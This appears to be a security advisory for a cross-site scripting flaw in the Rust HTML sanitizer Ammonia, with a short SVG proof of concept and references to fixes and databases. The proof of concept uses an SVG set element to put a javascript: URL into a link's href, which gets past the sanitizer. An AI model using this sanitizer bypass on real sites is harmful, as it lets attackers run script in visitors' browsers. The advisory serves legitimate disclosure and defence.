CVE-2026-102342: Ammonia: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The following SVG will produce a link with a javascript scheme. If the user clicks this link, they will run it.
<svg xmlns="http://www.w3.org/2000/svg">
<a>
<set attributeName="href" to="javascript:alert('SET_XSS')"></set>
<text y="30">Click set</text>
</a>
</svg>
References
- github.com/advisories/GHSA-m6mh-2hw2-555x
- github.com/rust-ammonia/ammonia/commit/9394bd81179e756cb911314deabd943f1a9c8989
- github.com/rust-ammonia/ammonia/commit/9e3335e2dd8ab07346ff7997f20662a3da4023f6
- github.com/rust-ammonia/ammonia/commit/d2ae1547f478bd84d158bc5e57f5d31437dc4d8d
- github.com/rust-ammonia/ammonia/pull/250
- github.com/rust-ammonia/ammonia/pull/251
- github.com/rust-ammonia/ammonia/pull/252
- github.com/rust-ammonia/ammonia/security/advisories/GHSA-m6mh-2hw2-555x
- nvd.nist.gov/vuln/detail/CVE-2026-102342
- rustsec.org/advisories/RUSTSEC-2026-0213.html
Code Behaviors & Features
Detect and mitigate CVE-2026-102342 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →